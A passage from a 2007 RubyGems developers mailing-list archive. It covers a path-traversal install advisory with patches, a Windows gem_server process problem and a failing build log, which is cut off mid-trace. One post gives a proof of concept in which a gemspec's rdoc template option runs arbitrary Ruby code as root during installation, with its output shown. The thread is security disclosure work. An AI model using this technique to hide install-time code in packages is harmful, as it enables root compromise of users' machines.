yet support the compression feature out > of the box means that any load increase is maximized. Actually, I bet people will be using things like RSS readers, not net/ http, to read the feeds. > However, given that same audience, it might be that someone has had > an idea about how to solve this cleanly, so we can do something to > improve the situation. That latter part is probably worth moving to > ruby-core. Submit patches for the existing RSS libraries to the respective authors? -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From hgs at dmu.ac.uk Fri Jan 12 12:02:47 2007 From: hgs at dmu.ac.uk (Hugh Sasse) Date: Fri, 12 Jan 2007 17:02:47 +0000 (WET) Subject: [Rubygems-developers] Gemtacular Now in RubyForge Subversion In-Reply-To: References: Message-ID: On Fri, 12 Jan 2007, Eric Hodel wrote: > On Jan 11, 2007, at 09:34, Hugh Sasse wrote: > > On Thu, 11 Jan 2007, Eric Hodel wrote: > >> On Jan 11, 2007, at 08:46, Hugh Sasse wrote: > >>> Yes, RSS is the way to go for this. However, I wish to raise the > >>> point that the Ruby net/HTTP class doesn't support content encoding > >>> transparently yet: > >> > >> What does this have to do with serving RSS? > > > > We are proposing to increase the amount of RSS served by this host. [... lib/net/http.rb ...] > > Actually, I bet people will be using things like RSS readers, not net/ > http, to read the feeds. Yes, a large proportion. > > > However, given that same audience, it might be that someone has had > > an idea about how to solve this cleanly, so we can do something to > > improve the situation. That latter part is probably worth moving to > > ruby-core. > > Submit patches for the existing RSS libraries to the respective authors? Have made a start on that, but I'm in mental knots about the way blocks are used on "lumps" that come from the socket, and the fact that there is also HTTP chunking going on, and quite how that interacts with Accept-Encoding choices that compress stuff is a puzzle to me. I emailed Minero Aoki to that effect last night [British time]. > Thank you, Hugh From drbrain at segment7.net Fri Jan 12 13:59:56 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 12 Jan 2007 10:59:56 -0800 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit Message-ID: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> I've checked in fixes for an installation exploit found by Gavin Sinclair. Here's a draft email describing the exploit and how to fix RubyGems. I only supplied patches for the past two versions of RubyGems, since tattle says that's what everybody uses. Subject: RubyGems 0.9.0 and earlier installation exploit Problem Description: RubyGems does not check installation paths for gems before writing files. Impact: Since RubyGems packages are typically installed using root permissions, arbitrary files may be overwritten on-disk. This may lead to denial of service, privilege escalation or remote compromise. Workaround: No known workarounds Solution: a) Upgrade to RubyGems 0.9.1 b) Apply the following patch For RubyGems 0.9.0: -------------- next part -------------- A non-text attachment was scrubbed... Name: installer.rb.extract_files.REL_0_9_0.patch Type: application/octet-stream Size: 1234 bytes Desc: not available Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070112/dc19ce8c/attachment.obj -------------- next part -------------- For RubyGems 0.8.11: -------------- next part -------------- A non-text attachment was scrubbed... Name: installer.rb.extract_files.REL_0_8_11.patch Type: application/octet-stream Size: 1233 bytes Desc: not available Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070112/dc19ce8c/attachment-0001.obj -------------- next part -------------- Credit to Gavin Sinclair for finding and reporting this problem. Testing your updated RubyGems: $ gem install rspec --version 0.7.5 ERROR: While executing gem ... (Gem::InstallError) attempt to install file into "../web_spec/ web_test_html_formatter.rb" -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From drbrain at segment7.net Fri Jan 12 14:17:06 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 12 Jan 2007 11:17:06 -0800 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> Message-ID: <7FB6E2DE-3501-4C97-A759-58EC4A105ABA@segment7.net> On Jan 12, 2007, at 10:59, Eric Hodel wrote: > I've checked in fixes for an installation exploit found by Gavin > Sinclair. Here's a draft email describing the exploit and how to > fix RubyGems. I only supplied patches for the past two versions of > RubyGems, since tattle says that's what everybody uses. > > b) Apply the following patch > > For RubyGems 0.9.0: > > > > For RubyGems 0.8.11: > > Note: I didn't test either of these patches. the 0.9.0 patch applied cleanly with offset. The 0.8.11 I had to do by hand. If anybody still has a 0.8.11, please test this patch. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From drbrain at segment7.net Fri Jan 12 15:53:00 2007 From: drbrain at segment7.net (Eric Hodel) Date: Fri, 12 Jan 2007 12:53:00 -0800 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <7FB6E2DE-3501-4C97-A759-58EC4A105ABA@segment7.net> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <7FB6E2DE-3501-4C97-A759-58EC4A105ABA@segment7.net> Message-ID: <8C3B258D-254E-4D2B-B263-F65D5C74D96B@segment7.net> On Jan 12, 2007, at 11:17, Eric Hodel wrote: > On Jan 12, 2007, at 10:59, Eric Hodel wrote: > >> I've checked in fixes for an installation exploit found by Gavin >> Sinclair. Here's a draft email describing the exploit and how to >> fix RubyGems. I only supplied patches for the past two versions of >> RubyGems, since tattle says that's what everybody uses. >> >> b) Apply the following patch >> >> For RubyGems 0.9.0: >> >> >> >> For RubyGems 0.8.11: >> >> > > Note: I didn't test either of these patches. the 0.9.0 patch applied > cleanly with offset. The 0.8.11 I had to do by hand. > > If anybody still has a 0.8.11, please test this patch. Evan Phoenix reported my patch was bogus. This patch should apply correctly: -------------- next part -------------- A non-text attachment was scrubbed... Name: installer.rb.extract_files.REL_0_8_11.patch Type: application/octet-stream Size: 1397 bytes Desc: not available Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070112/132911d5/attachment-0001.obj -------------- next part -------------- -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From chad at chadfowler.com Fri Jan 12 16:07:51 2007 From: chad at chadfowler.com (Chad Fowler) Date: Fri, 12 Jan 2007 14:07:51 -0700 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <8C3B258D-254E-4D2B-B263-F65D5C74D96B@segment7.net> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <7FB6E2DE-3501-4C97-A759-58EC4A105ABA@segment7.net> <8C3B258D-254E-4D2B-B263-F65D5C74D96B@segment7.net> Message-ID: On 1/12/07, Eric Hodel wrote: > On Jan 12, 2007, at 11:17, Eric Hodel wrote: > > On Jan 12, 2007, at 10:59, Eric Hodel wrote: > > > >> I've checked in fixes for an installation exploit found by Gavin > >> Sinclair. Here's a draft email describing the exploit and how to > >> fix RubyGems. I only supplied patches for the past two versions of > >> RubyGems, since tattle says that's what everybody uses. > >> > >> b) Apply the following patch > >> > >> For RubyGems 0.9.0: > >> > >> > >> > >> For RubyGems 0.8.11: > >> > >> > > > > Note: I didn't test either of these patches. the 0.9.0 patch applied > > cleanly with offset. The 0.8.11 I had to do by hand. > > > > If anybody still has a 0.8.11, please test this patch. > > Evan Phoenix reported my patch was bogus. This patch should apply > correctly: > > This works for me (I downgraded to 0.8.11 to try it). Though if you're on 0.8.11, you're going to have trouble with spec attributes that don't work anyway. Probably a good time to just tell people to upgrade and give them a window after which we shut them down. Chad From pabs at pablotron.org Sat Jan 13 01:58:15 2007 From: pabs at pablotron.org (Paul Duncan) Date: Sat, 13 Jan 2007 01:58:15 -0500 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> Message-ID: <20070113065815.GK15628@vault.home.pablotron.org> * Eric Hodel (drbrain at segment7.net) wrote: > I've checked in fixes for an installation exploit found by Gavin > Sinclair. Here's a draft email describing the exploit and how to fix > RubyGems. I only supplied patches for the past two versions of > RubyGems, since tattle says that's what everybody uses. > > Subject: RubyGems 0.9.0 and earlier installation exploit > > Problem Description: > > RubyGems does not check installation paths for gems before writing > files. The potential security problems with RubyGems are actually much worse than that. Documentation and tests are executed as the user doing the install (which, as you said, is usually root). That means I can embed arbitrary Ruby code in either the documentation template and it will usually be run as root. For example: spec = Gem::Specification.new do |s| # usual gem stuff here # ... s.rdoc_options = %w{--template ./malice.rb} end # contents of malice.rb: # THIS CODE WILL BE RUN AS ROOT ON MANY MACHINES $stderr.puts "hello, i'm running as #{ENV['USER']}" exit 0 All of that produces the following: pabs at halcyon:~/proj/snippets/ruby/malice> gem build ./malice.gemspec Successfully built RubyGem Name: Malicious-Gem Version: 0.1.0 File: Malicious-Gem-0.1.0.gem pabs at halcyon:~/proj/snippets/ruby/malice> sudo gem install ./Malicious-Gem-0.1.0.gem Password: Successfully installed Malicious-Gem, version 0.1.0 Installing ri documentation for Malicious-Gem-0.1.0... Installing RDoc documentation for Malicious-Gem-0.1.0... hello, i'm running as root Obviously the same thing can be done with unit tests. While neither of these are a bug with RubyGems per-se, they're both convenient places to hide sneak away code that will be run as root on a lot of machines at install time. -- Paul Duncan OpenPGP Key ID: 0x82C29562 http://www.pablotron.org/ http://www.paulduncan.org/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070113/6f903488/attachment.bin From anthonyeden at gmail.com Sat Jan 13 18:05:18 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Sat, 13 Jan 2007 18:05:18 -0500 Subject: [Rubygems-developers] Gemtacular Now Links to RDocs Message-ID: I've just deployed an update to gemtacular which links to the rdocs which are generated on the server. This is currently experimental as I am aware that some gems cannot be rdoc'd without errors, however for most gems there are at least *some* sort of rdocs in there. To get to the RDoc links you need to actually view the details about a gem...eventually I'll make the latest RDoc'd version available in lists as well. Comments and suggestions are welcome. V/r Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From thewoolleyman at gmail.com Sun Jan 14 03:13:49 2007 From: thewoolleyman at gmail.com (Chad Woolley) Date: Sun, 14 Jan 2007 01:13:49 -0700 Subject: [Rubygems-developers] Problems managing embedded gem server on Windows Message-ID: Hi, I have an open source project where I run an "embedded" gem_server for self-contained testing purposes. This means I spawn a "gem_server" executable via ruby, then kill it via the PID when my tests are done. The problem is that I can't seem to avoid leaving an orphaned ruby process when I run this on windows. This is due to several reasons: * gem_server on windows is implemented as a batch file (gem_server.bat) with inline ruby. There is no separate "gem_server.rb" class that I could invoke programatically and solve the whole problem. * On Windows, this causes a tree of child processes to be created: cmd (shell that I invoke my tests from) -> ruby (my tests) -> cmd (the batch file) -> ruby (the inline ruby process spawned by the batch file) * I cannot figure out a way to kill the inlined ruby process. I can grab the PID of the batch file cmd process itself, but when I kill that, windows just orphans the ruby process. * Since the gem server ruby process spawned by the batch file is a *DAEMON* (never dies), I don't think I can use fork/wait or any of the other fancy stuff in win32-open3, win32-process, etc. Any ideas on how to get around this? Am I missing some magic incantation to kill a child daemon process for which I only have the parent's PID? One solution would be to extract the inlined ruby code in gem_server.bat to a real ruby class in a separate file. Then, I could call it programatically and not worry about the intervening cmd shell in the process hierarchy. What do you think about this? Thanks, -- Chad W From jim at weirichhouse.org Sun Jan 14 14:17:32 2007 From: jim at weirichhouse.org (Jim Weirich) Date: Sun, 14 Jan 2007 14:17:32 -0500 Subject: [Rubygems-developers] Problems managing embedded gem server on Windows In-Reply-To: References: Message-ID: <45AA81CC.6000709@weirichhouse.org> Chad Woolley wrote: > One solution would be to extract the inlined ruby code in > gem_server.bat to a real ruby class in a separate file. Then, I could > call it programatically and not worry about the intervening cmd shell > in the process hierarchy. What do you think about this? I see no problem accepting a patch for this. -- -- Jim Weirich jim at weirichhouse.org http://onestepback.org -- In theory, practice and theory are the same. -- In practice, they are different. From thewoolleyman at gmail.com Sun Jan 14 15:10:16 2007 From: thewoolleyman at gmail.com (Chad Woolley) Date: Sun, 14 Jan 2007 13:10:16 -0700 Subject: [Rubygems-developers] Problems managing embedded gem server on Windows In-Reply-To: <45AA81CC.6000709@weirichhouse.org> References: <45AA81CC.6000709@weirichhouse.org> Message-ID: On 1/14/07, Jim Weirich wrote: > Chad Woolley wrote: > > One solution would be to extract the inlined ruby code in > > gem_server.bat to a real ruby class in a separate file. Then, I could > > call it programatically and not worry about the intervening cmd shell > > in the process hierarchy. What do you think about this? > > I see no problem accepting a patch for this. Cool, I'll try to whip one up. Any ideas on how to deal with this issue in the current release? Do you know any other Ruby projects that manage to kill daemon children spawned by child processes? From anatol.pomozov at gmail.com Sun Jan 14 18:42:34 2007 From: anatol.pomozov at gmail.com (Cerberus) Date: Mon, 15 Jan 2007 02:42:34 +0300 Subject: [Rubygems-developers] [rubygems] Build still broken (#1195) Message-ID: <45aabfea8d1d0_eb81741aca1e2@ubuntu.tmail> ------------------------------------------------------------------------ r1195 | drbrain | 2007-01-12 21:12:56 +0300 | 1 line Changed paths: M /trunk/ChangeLog M /trunk/lib/rubygems/installer.rb M /trunk/test/test_installer.rb Don't allow gems to place files outside the installation directory. Fixes bug 7751 by Gavin Sinclair. ------------------------------------------------------------------------ (in C:/Documents and Settings/anatol/.cerberus/work/rubygems/sources) require_gem is obsolete. Use gem instead. Loaded suite c:/PROGRA~1/ruby/lib/ruby/gems/1.8/gems/rake-0.7.1/lib/rake/rake_test_loader Started .........................................................................FFEEE.............................................................EE............EEEEE................EEEEEEEE.................................................................................................................... Finished in 24.25 seconds. 1) Failure: test_class_build(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:35]: <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/ext)\n"]> expected but was <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/ext)\nrequire_gem is obsolete. Use gem instead.\n"]>. 2) Failure: test_class_build_fail(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:45]: exception expected but none was thrown. 3) Error: test_all_load_paths(TestGemLoadPaths): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_gemloadpaths.rb:20:in `setup' 4) Error: test_latest_load_paths(TestGemLoadPaths): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_gemloadpaths.rb:20:in `setup' 5) Error: test_required_location(TestGemLoadPaths): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_gemloadpaths.rb:20:in `setup' 6) Error: test_install_bad_gem(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 7) Error: test_install_with_message(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 8) Error: test_explicit_proxy(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 9) Error: test_explicit_proxy_with_user_auth(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 10) Error: test_explicit_proxy_with_user_auth_in_env(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 11) Error: test_fetch_path_io_error(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 12) Error: test_fetch_path_socket_error(TestRemoteFetcher): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2452/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 13) Error: test_conflicting_requires(TestRequireGem): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_require_gem.rb:14:in `setup' 14) Error: test_conflicting_requires(TestRequireGem): TypeError: can't convert nil into Array ./test/test_require_gem.rb:22:in `replace' ./test/test_require_gem.rb:22:in `teardown' 15) Error: test_overlapping_requires(TestRequireGem): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' ./test/gemenvironment.rb:46:in `create' ./lib/rubygems/user_interaction.rb:45:in `use_ui' ./lib/rubygems/user_interaction.rb:27:in `use_ui' ./test/gemenvironment.rb:35:in `create' ./test/gemenvironment.rb:23:in `create' ./test/test_require_gem.rb:14:in `setup' 16) Error: test_overlapping_requires(TestRequireGem): TypeError: can't convert nil into Array ./test/test_require_gem.rb:22:in `replace' ./test/test_require_gem.rb:22:in `teardown' 17) Error: test_redundent_requires(TestRequireGem): Gem::InstallError: attempt to install file into "lib/code.rb" ./lib/rubygems/installer.rb:359:in `extract_files' ./lib/rubygems/installer.rb:351:in `extract_files' ./lib/rubygems/installer.rb:93:in `install' 